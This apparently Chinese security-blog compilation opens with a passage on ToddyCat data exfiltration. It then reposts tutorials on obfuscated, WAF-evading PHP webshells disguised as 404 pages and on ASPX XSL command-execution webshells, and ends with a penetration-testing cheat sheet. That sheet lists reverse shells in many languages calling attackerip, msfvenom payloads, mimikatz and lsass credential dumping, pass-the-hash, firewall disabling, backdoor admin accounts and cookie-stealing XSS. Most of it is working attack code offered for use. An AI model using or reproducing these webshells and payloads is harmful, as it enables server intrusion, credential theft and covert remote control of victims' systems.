如上所述,一旦确定了感兴趣的目标,收集阶段就开始了。攻击者通常从许多不同的主机收集文件,并将它们存储在档案中,然后使用公共文件存储服务从目标网络中泄漏出来。 数据窃取方案 我们已经描述了一些工具,例如LoFiSe,专门用于识别和收集感兴趣的文件,但是在调查过程中,我们还发现了ToddyCat使用的其他脚本,这些脚本使用WMI枚举目标主机磁盘上的文件,并收集最近修改的具有.pdf, .doc, .docx, .xls 和.xlsx扩展名的文档。 在这些情况下,使用诸如7zip或RAR实用程序之类的工具执行压缩,特定的工具可能是根据基础设施中已经可用的工具来选择的。与LoFiSe不同,集合脚本将枚举文档的路径存储在纯文本TXT文件中。文档压缩可以直接在目标主机或泄漏主机上完成。 下面是在目标主机上运行的BAT脚本的内容: 在上面的示例中,文件被文件在一个tmp_文件夹中;我们还观察到使用根据主机名参数化名称的文件夹,例如: 要收集的文件也是根据它们最后的写入时间来选择的。文件的最后修改日期应该大于一定天数。这个数字通常作为脚本参数传递,并且可以硬编码。 在主驱动器和辅助驱动器上选择数据源时,收集脚本使用不同的策略。对于默认的Windows主驱动器,脚本遍历用户配置文件目录(C:\Users)。这种方法增加了捕获有价值数据的可能性,同时减少了所需的处理时间,并最大限度地减少了收集不需要文件的机会。在处理外部设备和其他非主存储介质时,脚本会选择一种更方便的策略,即选择根目录(\)。虽然主驱动器始终可用,但辅助驱动器可能并不总是可访问,从而限制了收集机会。为了减少这一限制,攻击者偶尔会扩展时间范围,将辅助驱动器和可移动驱动器上的旧文件包括在其作用域中(如BAT代码片段所示)。 以下是PS1脚本的结构: 攻击者试图通过保护脚本并将脚本代码嵌入到PE “.text”部分中的特定释放器来传播它们以逃避防御。 PowerShell脚本里面的可执行文件 滴管接收两个参数;第一个是启动执行时必须提供的密码字符串,第二个是通过命令行实际传输到PS脚本的数字。启动后,dropper创建一个名为pro.ps1 的文件,并通过PowerShell执行它: 在其他示例中,我们观察到脚本变体的设计仅仅是为了收集数据并将文件复制到特定的文件夹中,但没有将它们包含在压缩文件中。在这些示例中,攻击者使用标准的远程任务执行技术在远程主机上执行脚本。然后使用xcopy实用程序将收集到的文件手动传输到泄漏主机,最后使用7z二进制文件进行压缩: 然后,该活动继续使用上述Pcexter或Dropbox上传器进行实际泄漏:
-
(转)无特征过狗一句话猥琐思路
0×01 姿势一 我们知道PHP动态函数很有意思,那么你猜到了,姿势一就是: <?php$_POST['xx']($_POST['oo']);?> 注意XX参数设置成EVAL是不行的哦,让我们来看看效果: 0×02 姿势二 关键词是过滤了,但是你老是交一些奇奇怪怪的东西,人家几万块买的WAF也不是吃白饭的啊。好好好你丑你说什么都是对的,我们不交了,getallheaders函数能够获取请求头内容,来试试新家伙: <?phpeval(getallheaders()['Accept-Language']);> 当然你要是猥琐到这样,那恭喜你,你已经学会举一反三了... <?php$a=getallheaders()['xxx'];$a(getallheaders()['ooo']);> 0×03 姿势三 遇到一般的waf可能上个姿势就能绕过,但是还是会有一些臭不要脸的waf会检测http请求头里的内容,咱们还是从技术角度出发来看看这个问题怎么绕过,猥琐的人可能首先想到了的base64,更猥琐的人可能想到了各种自写函数进行编码,替换,但是我见过最猥琐的思路是gzuncompress和gzcompress函数,话不多说我们先放壳: <?phpeval(gzuncompress(base64_decode(getallheaders()['xx'])));> http头部的里面的xx字段看起来像base64编码(其实实他就是base64编码),但是解开之后发现是乱码,waf识别不出来里面的内容,哈哈是不够够猥琐呢..如果你要是还没不够猥琐,那么来吧,互相伤害吧: <?php$xx=gzuncompress(base64_decode(getallheaders()['xx']));$xx(gzuncompress(base64_decode(getallheaders()['oo'])));> 0x04 姿势四 目前为止,这个壳在传输过程中已经没有任何特征了,但是管理员毕竟是吃白饭的,某日浏览小黄文可能无意间发现你的壳,一堆什么莫名的的base64函数和查了半天资料也搞不懂的gzuncompress函数,管理员手一抖说不定就给删了呢,这时候你需要伪装你的壳,伪装成404是个比较安全的方法,为了防止管理员访问壳时出现未提交相应的http header导致php报错,我们再加上如果判断,完整的shell如下: <!DOCTYPE HTMLPUBLIC"-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> ... <?php $xx=getallheaders()['xx']; $oo=getallheaders()['oo']; if($xx!=""and$oo!=""){ $xx=gzuncompress(base64_decode($xx));$xx(gzuncompress(base64_decode($oo))); } > </body></html> 0x05 姿势五 可能你厌倦了每次提交数据都需要进行手动编码再提交。技术的目的本身就是机器代替手工,那好用蟒来写一个我们专属的一句话控制端吧。不过在这之前我们需要再此改进我们的外壳,使其变得更加隐蔽,更加实用最新版的外壳如下: <!DOCTYPE HTMLPUBLIC"-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p><?php //ZUp4THFyVHl5eS9LVGN5ckF3QVZGZ1Av; $error0="404_not_found"; $error1="400_not_found"; $error2="302_not_found"; ... $_="\x6d\x64\x35"; $__=$_($_.$_.$_); $header_errors=chr(103).substr($__,14,1)."t".chr(97)."llh".substr($__,14,1)."aders"; $base_errors=chr(98)."\x61".chr(115).substr($__,14,1)."6"."\x34"."_".chr(100)."\x65"."c".chr(111)."d".substr($__,14,1); $gz_errors="\x67\x7a".chr(117).chr(110)."com"."\x70\x72\x65\x73\x73"; if($header_errors()[$error1]!=""and$header_errors()[$error2]!=""){ echo$error0; $error=$gz_errors($base_errors($base_errors($header_errors()[$error2])));$error($gz_errors($base_errors($base_errors($header_errors()[$error1])))); echo$error0;}> </body></html> 我们看到其实和上个姿势的差别主要是加了一些混淆,像的base64,gzuncompress等这些函数都进行了动态组合,更具有迷惑性,另外执行命令前后分别有一次回波进行输出,这主要是方便我们的一句话客户端在获取服务器相应内容后能够利用正则截取真正的执行结果,而不是多了一些其他的HTML之类的没用的内容。 附下我们客户端的执行效果: PS:客户端目前只写了个小框架,后面功能稍微完善点之后会放给大家玩的。
-
(转)Xsl 的Webshell(aspx)版本
关于使用xsl的webshell以前已经有人发过了,比如aspx的一个webshell如下: <%@ Page Language="C#" Debug="true" %> <%@ import Namespace="System.IO"%> <%@ import Namespace="System.Xml"%> <%@ import Namespace="System.Xml.Xsl"%> <% string xml=@"<?xml version=""1.0""?><root>test</root>"; string xslt=@"<?xml version='1.0'?> <xsl:stylesheet version=""1.0"" xmlns:xsl=""http://www.w3.org/1999/XSL/Transform"" xmlns:msxsl=""urn:schemas-microsoft-com:xslt"" xmlns:zcg=""zcgonvh""> <msxsl:script language=""JScript"" implements-prefix=""zcg""> <msxsl:assembly name=""mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/> <msxsl:assembly name=""System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/> <msxsl:assembly name=""System.Configuration, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/> <msxsl:assembly name=""System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/> <![CDATA[function xml() {var c=System.Web.HttpContext.Current;var Request=c.Request;var Response=c.Response;var Server=c.Server;eval(Request.Item['backlion'],'unsafe');Response.End();}]]> </msxsl:script> <xsl:template match=""/root""> <xsl:value-of select=""zcg:xml()""/> </xsl:template> </xsl:stylesheet>"; XmlDocument xmldoc=new XmlDocument(); xmldoc.LoadXml(xml); XmlDocument xsldoc=new XmlDocument(); xsldoc.LoadXml(xslt); XslCompiledTransform xct=new XslCompiledTransform(); xct.Load(xsldoc,XsltSettings.TrustedXslt,new XmlUrlResolver()); xct.Transform(xmldoc,null,new MemoryStream()); %> 密码为 backlion,这个webshell是可以用菜刀连接的,测试碰到这种情况:服务器有安全狗等防护软件,提交的各种数据包可能会拦截,而现在想要做的就是执行命令就可以了,为了方便,写了一个命令执行的webshell,可回显,可改密码,具体代码如下: <%@page language="C#"%> <%@ import Namespace="System.IO"%> <%@ import Namespace="System.Xml"%> <%@ import Namespace="System.Xml.Xsl"%> <% string xml=@"<?xml version=""1.0""?><root>test</root>"; string xslt=@"<?xml version='1.0'?> <xsl:stylesheet version=""1.0"" xmlns:xsl=""http://www.w3.org/1999/XSL/Transform"" xmlns:msxsl=""urn:schemas-microsoft-com:xslt"" xmlns:zcg=""zcgonvh""> <msxsl:script language=""JScript"" implements-prefix=""zcg""> <msxsl:assembly name=""mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/> <msxsl:assembly name=""System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/> <msxsl:assembly name=""System.Configuration, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/> <msxsl:assembly name=""System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/> <![CDATA[function xml(){ var c=System.Web.HttpContext.Current;var Request=c.Request;var Response=c.Response; var command = Request.Item['cmd']; var r = new ActiveXObject(""WScript.Shell"").Exec(""cmd /c ""+command); var OutStream = r.StdOut; var Str = """"; while (!OutStream.atEndOfStream) { Str = Str + OutStream.readAll(); } Response.Write(""<pre>""+Str+""</pre>""); }]]> </msxsl:script> <xsl:template match=""/root""> <xsl:value-of select=""zcg:xml()""/> </xsl:template> </xsl:stylesheet>"; XmlDocument xmldoc=new XmlDocument(); xmldoc.LoadXml(xml); XmlDocument xsldoc=new XmlDocument(); xsldoc.LoadXml(xslt); XsltSettings xslt_settings = new XsltSettings(false, true); xslt_settings.EnableScript = true; try{ XslCompiledTransform xct=new XslCompiledTransform(); xct.Load(xsldoc,xslt_settings,new XmlUrlResolver()); xct.Transform(xmldoc,null,new MemoryStream()); } catch (Exception e){ Response.Write("Error"); } %> 密码为cmd,可自己改,测试如下图: 附带一个大马里面的命令执行: <%@ Page Language="VB" Debug="true" %> <%@ import Namespace="system.IO" %> <%@ import Namespace="System.Diagnostics" %> <script runat="server"> Sub RunCmd(Src As Object, E As EventArgs) Dim myProcess As New Process() Dim myProcessStartInfo As New ProcessStartInfo(xpath.text) myProcessStartInfo.UseShellExecute = false myProcessStartInfo.RedirectStandardOutput = true myProcess.StartInfo = myProcessStartInfo myProcessStartInfo.Arguments=xcmd.text myProcess.Start() Dim myStreamReader As StreamReader = myProcess.StandardOutput Dim myString As String = myStreamReader.Readtoend() myProcess.Close() mystring=replace(mystring,"<","<") mystring=replace(mystring,">",">") result.text= vbcrlf & "<pre>" & mystring & "</pre>" End Sub </script> <html> <body> <form runat="server"> <p><asp:Label id="L_p" runat="server" width="80px">Program</asp:Label> <asp:TextBox id="xpath" runat="server" Width="300px">c:\windows\system32\cmd.exe</asp:TextBox> <p><asp:Label id="L_a" runat="server" width="80px">Arguments</asp:Label> <asp:TextBox id="xcmd" runat="server" Width="300px" Text="/c net user">/c net user</asp:TextBox> <p><asp:Button id="Button" onclick="runcmd" runat="server" Width="100px" Text="Run"></asp:Button> <p><asp:Label id="result" runat="server"></asp:Label> </form> </body> </html>
-
渗透测试技巧大全
Nmap Full Web Vulnerable Scan cd /usr/share/nmap/scripts/ wget http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz && tar xzf nmap_nse_vulscan-2.0.tar.gz nmap -sS -sV --script=vulscan/vulscan.nse target nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv target nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv -p80 target nmap -PN -sS -sV --script=vulscan –script-args vulscancorrelation=1 -p80 target nmap -sV --script=vuln target nmap -PN -sS -sV --script=all –script-args vulscancorrelation=1 target Dirb Dir Bruteforce: dirb http://IP:PORT /usr/share/dirb/wordlists/common.txt Nikto web server scanner nikto -C all -h http://IP WordPress Scanner git clone https://github.com/wpscanteam/wpscan.git && cd wpscan ./wpscan –url http://IP/ –enumerate p HTTP Fingerprinting wget http://www.net-square.com/_assets/httprint_linux_301.zip && unzip httprint_linux_301.zip cd httprint_301/linux/ ./httprint -h http://IP -s signatures.txt SKIP Fish Scanner skipfish -m 5 -LY -S /usr/share/skipfish/dictionaries/complete.wl -o ./skipfish2 -u http://IP Nmap Ports Scan 1)decoy- masqurade nmap -D RND:10 [target] (Generates a random number of decoys) 1)decoy- masqurade nmap -D RND:10 [target] (Generates a random number of decoys) 2)fargement 3)data packed – like orginal one not scan packet 4)use auxiliary/scanner/ip/ipidseq for find zombie ip in network to use them to scan — nmap -sI ip target 5)nmap –source-port 53 target nmap -sS -sV -D IP1,IP2,IP3,IP4,IP5 -f –mtu=24 –data-length=1337 -T2 target ( Randomize scan form diff IP) nmap -Pn -T2 -sV –randomize-hosts IP1,IP2 nmap –script smb-check-vulns.nse -p445 target (using NSE scripts) nmap -sU -P0 -T Aggressive -p123 target (Aggresive Scan T1-T5) nmap -sA -PN -sN target nmap -sS -sV -T5 -F -A -O target (version detection) nmap -sU -v target (Udp) nmap -sU -P0 (Udp) nmap -sC 192.168.31.10-12 (all scan default) NC Scanning nc -v -w 1 target -z 1-1000 for i in {101..102}; do nc -vv -n -w 1 192.168.56.$i 21-25 -z; done Unicornscan us -H -msf -Iv 192.168.56.101 -p 1-65535 us -H -mU -Iv 192.168.56.101 -p 1-65535 -H resolve hostnames during the reporting phase -m scan mode (sf - tcp, U - udp) -Iv - verbose Xprobe2 OS fingerprinting xprobe2 -v -p tcp:80:open IP Samba Enumeration nmblookup -A target smbclient //MOUNT/share -I target -N rpcclient -U "" target enum4linux target SNMP Enumeration snmpget -v 1 -c public IP snmpwalk -v 1 -c public IP snmpbulkwalk -v2c -c public -Cn0 -Cr10 IP Windows Useful cmds net localgroup Users net localgroup Administrators search dir/s *.doc system("start cmd.exe /k $cmd") sc create microsoft_update binpath="cmd /K start c:\nc.exe -d ip-of-hacker port -e cmd.exe" start= auto error= ignore /c C:\nc.exe -e c:\windows\system32\cmd.exe -vv 23.92.17.103 7779 mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" Procdump.exe -accepteula -ma lsass.exe lsass.dmp mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords" C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp For 32 bits C:\temp\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp For 64 bits PuTTY Link tunnel Forward remote port to local address plink.exe -P 22 -l root -pw "1234" -R 445:127.0.0.1:445 IP Meterpreter portfwd # https://www.offensive-security.com/metasploit-unleashed/portfwd/ # forward remote port to local address meterpreter > portfwd add –l 3389 –p 3389 –r 172.16.194.141 kali > rdesktop 127.0.0.1:3389 Enable RDP Access reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0 netsh firewall set service remoteadmin enable netsh firewall set service remotedesktop enable Turn Off Windows Firewall netsh firewall set opmode disable Meterpreter VNC\RDP # https://www.offensive-security.com/metasploit-unleashed/enabling-remote-desktop/ run getgui -u admin -p 1234 run vnc -p 5043 Add New user in Windows net user test 1234 /add net localgroup administrators test /add Mimikatz use git clone https://github.com/gentilkiwi/mimikatz.git privilege::debug sekurlsa::logonPasswords full Passing the Hash git clone https://github.com/byt3bl33d3r/pth-toolkit pth-winexe -U hash //IP cmd or apt-get install freerdp-x11 xfreerdp /u:offsec /d:win2012 /pth:HASH /v:IP or meterpreter > run post/windows/gather/hashdump Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c::: msf > use exploit/windows/smb/psexec msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c msf exploit(psexec) > exploit meterpreter > shell Hashcat password cracking hashcat -m 400 -a 0 hash /root/rockyou.txt Netcat examples c:> nc -l -p 31337 #nc 192.168.0.10 31337 c:> nc -v -w 30 -p 31337 -l < secret.txt #nc -v -w 2 192.168.0.10 31337 > secret.txt Banner grabbing with NC nc 192.168.0.10 80 GET / HTTP/1.1 Host: 192.168.0.10 User-Agent: Mozilla/4.0 Referrer: www.example.com <enter> <enter> Window reverse shell c:>nc -Lp 31337 -vv -e cmd.exe nc 192.168.0.10 31337 c:>nc example.com 80 -e cmd.exe nc -lp 80 nc -lp 31337 -e /bin/bash nc 192.168.0.10 31337 nc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000 Find SUID\SGID root files # Find SUID root files find / -user root -perm -4000 -print # Find SGID root files: find / -group root -perm -2000 -print # Find SUID and SGID files owned by anyone: find / -perm -4000 -o -perm -2000 -print # Find files that are not owned by any user: find / -nouser -print # Find files that are not owned by any group: find / -nogroup -print # Find symlinks and what they point to: find / -type l -ls Python shell python -c 'import pty;pty.spawn("/bin/bash")' Python\Ruby\PHP HTTP Server python2 -m SimpleHTTPServer python3 -m http.server ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 8888, :DocumentRoot => Dir.pwd).start" php -S 0.0.0.0:8888 Get PIDs of process fuser -nv tcp 80 fuser -k -n tcp 80 Hydra rdp Bruteforce hydra -l admin -P /root/Desktop/passwords -S X.X.X.X rdp Mount Remote Windows Share smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw Compiling Exploit in Kali gcc -m32 -o output32 hello.c (32 bit) gcc -m64 -o output hello.c (64 bit) Compiling Windows Exploits on Kali wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download wine mingw-get-setup.exe select mingw32-base cd /root/.wine/drive_c/windows wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip cd /root/.wine/drive_c/MinGW/bin wine gcc -o ability.exe /tmp/exploit.c -lwsock32 wine ability.exe NASM Commands nasm -f bin -o payload.bin payload.asm nasm -f elf payload.asm; ld -o payload payload.o; objdump -d payload SSH Pivoting ssh -D 127.0.0.1:1080 -p 22 user@IP Add socks4 127.0.0.1 1080 in /etc/proxychains.conf proxychains commands target SSH Pivoting from One Network to Another ssh -D 127.0.0.1:1080 -p 22 user1@IP1 Add socks4 127.0.0.1 1080 in /etc/proxychains.conf proxychains ssh -D 127.0.0.1:1081 -p 22 user1@IP2 Add socks4 127.0.0.1 1081 in /etc/proxychains.conf proxychains commands target Pivoting Using metasploit route add X.X.X.X 255.255.255.0 1 use auxiliary/server/socks4a run proxychains msfcli windows/* PAYLOAD=windows/meterpreter/reverse_tcp LHOST=IP LPORT=443 RHOST=IP E or # https://www.offensive-security.com/metasploit-unleashed/pivoting/ meterpreter > ipconfig IP Address : 10.1.13.3 meterpreter > run autoroute -s 10.1.13.0/24 meterpreter > run autoroute -p 10.1.13.0 255.255.255.0 Session 1 meterpreter > Ctrl+Z msf auxiliary(tcp) > use exploit/windows/smb/psexec msf exploit(psexec) > set RHOST 10.1.13.2 msf exploit(psexec) > exploit meterpreter > ipconfig IP Address : 10.1.13.2 Exploit-DB search using CSV File git clone https://github.com/offensive-security/exploit-database.git cd exploit-database ./searchsploit –u ./searchsploit apache 2.2 ./searchsploit "Linux Kernel" cat files.csv | grep -i linux | grep -i kernel | grep -i local | grep -v dos | uniq | grep 2.6 | egrep "<|<=" | sort -k3 MSF Payloads msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> X > system.exe msfvenom -p php/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 R > exploit.php msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -a x86 --platform win -f asp -o file.asp msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e x86/shikata_ga_nai -b "\x00" -a x86 --platform win -f c MSF Linux Reverse Meterpreter Binary msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -f elf -a x86 --platform linux -o shell MSF Reverse Shell (C Shellcode) msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 -b "\x00\x0a\x0d" -a x86 --platform win -f c MSF Reverse Shell Python Script msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=443 -o shell.py MSF Reverse ASP Shell msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp -a x86 --platform win -o shell.asp MSF Reverse Bash Shell msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.sh MSF Reverse PHP Shell msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.php add <?php at the beginning perl -i~ -0777pe's/^/<?php \n/' shell.php MSF Reverse Win Bin msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe -a x86 --platform win -o shell.exe Linux Security Commands # find programs with a set uid bit find / -uid 0 -perm -4000 # find things that are world writable find / -perm -o=w # find names with dots and spaces, there shouldn’t be any find / -name " " -print find / -name ".." -print find / -name ". " -print find / -name " " -print # find files that are not owned by anyone find / -nouser # look for files that are unlinked lsof +L1 # get information about procceses with open ports lsof -i # look for weird things in arp arp -a # look at all accounts including AD getent passwd # look at all groups and membership including AD getent group # list crontabs for all users including AD for user in $(getent passwd|cut -f1 -d:); do echo "### Crontabs for $user ####"; crontab -u $user -l; done # generate random passwords cat /dev/urandom| tr -dc ‘a-zA-Z0-9-_!@#$%^&*()_+{}|:<>?=’|fold -w 12| head -n 4 # find all immutable files, there should not be any find . | xargs -I file lsattr -a file 2>/dev/null | grep ‘^….i’ # fix immutable files chattr -i file Win Buffer Overflow Exploit Commands msfvenom -p windows/shell_bind_tcp -a x86 --platform win -b "\x00" -f c msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86 --platform win -e x86/shikata_ga_nai -b "\x00" -f c COMMONLY USED BAD CHARACTERS: \x00\x0a\x0d\x20 For http request \x00\x0a\x0d\x20\x1a\x2c\x2e\3a\x5c Ending with (0\n\r_) # Useful Commands: pattern create pattern offset (EIP Address) pattern offset (ESP Address) add garbage upto EIP value and add (JMP ESP address) in EIP . (ESP = shellcode ) !pvefindaddr pattern_create 5000 !pvefindaddr suggest !pvefindaddr modules !pvefindaddr nosafeseh !mona config -set workingfolder C:\Mona\%p !mona config -get workingfolder !mona mod !mona bytearray -b "\x00\x0a" !mona pc 5000 !mona po EIP !mona suggest SEH - Structured Exception Handling # https://en.wikipedia.org/wiki/Microsoft-specific_exception_handling_mechanisms#SEH !mona suggest !mona nosafeseh nseh="\xeb\x06\x90\x90" (next seh chain) iseh= !pvefindaddr p1 -n -o -i (POP POP RETRUN or POPr32,POPr32,RETN) ROP (DEP) # https://en.wikipedia.org/wiki/Return-oriented_programming # https://en.wikipedia.org/wiki/Data_Execution_Prevention !mona modules !mona ropfunc -m *.dll -cpb "\x00\x09\x0a" !mona rop -m *.dll -cpb "\x00\x09\x0a" (auto suggest) ASLR - Address space layout randomization # https://en.wikipedia.org/wiki/Address_space_layout_randomization !mona noaslr EGG Hunter techniques # https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/ # http://www.fuzzysecurity.com/tutorials/expDev/4.html !mona jmp -r esp !mona egg -t lxxl \xeb\xc4 (jump backward -60) buff=lxxllxxl+shell !mona egg -t 'w00t' GDB Debugger Commands # Setting Breakpoint break *_start # Execute Next Instruction next step n s # Continue Execution continue c # Data checking 'REGISTERS' and 'MEMORY' # Display Register Values: (Decimal,Binary,Hex) print /d –> Decimal print /t –> Binary print /x –> Hex O/P : (gdb) print /d $eax $17 = 13 (gdb) print /t $eax $18 = 1101 (gdb) print /x $eax $19 = 0xd (gdb) # Display values of specific memory locations command : x/nyz (Examine) n –> Number of fields to display ==> y –> Format for output ==> c (character) , d (decimal) , x (Hexadecimal) z –> Size of field to be displayed ==> b (byte) , h (halfword), w (word 32 Bit) BASH Reverse Shell bash -i >& /dev/tcp/X.X.X.X/443 0>&1 exec /bin/bash 0&0 2>&0 exec /bin/bash 0&0 2>&0 0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196 0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196 exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done /bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1 /bin/bash -i > /dev/tcp/X.X.X.X/443 0<&1 2>&1 PERL Reverse Shell perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' # for win platform perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’ RUBY Reverse Shell ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' # for win platform ruby -rsocket -e 'c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ruby -rsocket -e 'f=TCPSocket.open("attackerip","443").to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' PYTHON Reverse Shell python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attackerip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' PHP Reverse Shell php -r '$sock=fsockopen("attackerip",443);exec("/bin/sh -i <&3 >&3 2>&3");' JAVA Reverse Shell r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/attackerip/443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() NETCAT Reverse Shell nc -e /bin/sh attackerip 4444 nc -e /bin/sh 192.168.37.10 443 # If the -e option is disabled, try this # mknod backpipe p && nc attackerip 443 0<backpipe | /bin/bash 1>backpipe /bin/sh | nc attackerip 443 rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4443 0/tmp/ # If you have the wrong version of netcat installed, try rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip >/tmp/f TELNET Reverse Shell # If netcat is not available or /dev/tcp mknod backpipe p && telnet attackerip 443 0<backpipe | /bin/bash 1>backpipe XTERM Reverse Shell # Start an open X Server on your system (:1 – which listens on TCP port 6001) apt-get install xnest Xnest :1 # Then remember to authorise on your system the target IP to connect to you xterm -display 127.0.0.1:1 # Run this INSIDE the spawned xterm on the open X Server xhost +targetip # Then on the target connect back to the your X Server xterm -display attackerip:1 /usr/openwin/bin/xterm -display attackerip:1 or $ DISPLAY=attackerip:0 xterm XSS Cheat Codes https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet ("< iframes > src=http://IP:PORT </ iframes >") <script>document.location=http://IP:PORT</script> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//–></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> ";!–"<XSS>=&amp;{()} <IMG SRC="javascript:alert('XSS');"> <IMG SRC=javascript:alert('XSS')> <IMG """><SCRIPT>alert("XSS")</SCRIPT>""> <IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;> <IMG SRC=&amp;#0000106&amp;#0000097&amp;#0000118&amp;#0000097&amp;#0000115&amp;#0000099&amp;#0000114&amp;#0000105&amp;#0000112&amp;#0000116&amp;#0000058&amp;#0000097&amp;#0000108&amp;#0000101&amp;#0000114&amp;#0000116&amp;#0000040&amp;#0000039&amp;#0000088&amp;#0000083&amp;#0000083&amp;#0000039&amp;#0000041> <IMG SRC="jav ascript:alert('XSS');"> perl -e 'print "<IMG SRC=javascript:alert(\"XSS\")>";' > out <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")> (">< iframes http://google.com < iframes >) <BODY BACKGROUND="javascript:alert('XSS')"> <FRAMESET><FRAME SRC=”javascript:alert('XSS');"></FRAMESET> "><script >alert(document.cookie)</script> %253cscript%253ealert(document.cookie)%253c/script%253e "><s"%2b"cript>alert(document.cookie)</script> %22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)'%3E <img src=asdf onerror=alert(document.cookie)> SSH Over SCTP (With Socat) # on remote server # assuming you want the SCTP socket to listen on port 80/SCTP and sshd is on 22/TCP $ socat SCTP-LISTEN:80,fork TCP:localhost:22 # localhost # replace SERVER_IP with IP of listening server, and 80 with whatever port the SCTP listener is on :) $ socat TCP-LISTEN:1337,fork SCTP:SERVER_IP:80 # create socks proxy # replace username and -p port value as needed... $ ssh -lusername localhost -D 8080 -p 1337 Install Metasploit Community Edition in Kali 2.0 # github urls 